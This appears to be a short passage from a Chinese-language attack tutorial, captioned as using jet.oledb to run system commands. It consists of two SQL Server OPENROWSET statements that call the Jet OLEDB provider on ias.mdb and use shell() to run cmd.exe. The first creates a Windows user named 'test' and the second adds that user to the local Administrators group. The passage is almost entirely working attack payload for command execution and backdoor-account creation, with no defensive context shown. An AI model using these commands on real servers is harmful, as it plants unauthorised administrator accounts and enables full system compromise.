然后利用jet.oledb执行系统命令
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net user test test /add")')
select * from openrowset('microsoft.jet.oledb.4.0',';database=c:\windows\system32\ias\ias.mdb','select shell("cmd.exe /c net localgroup administrators test /add")')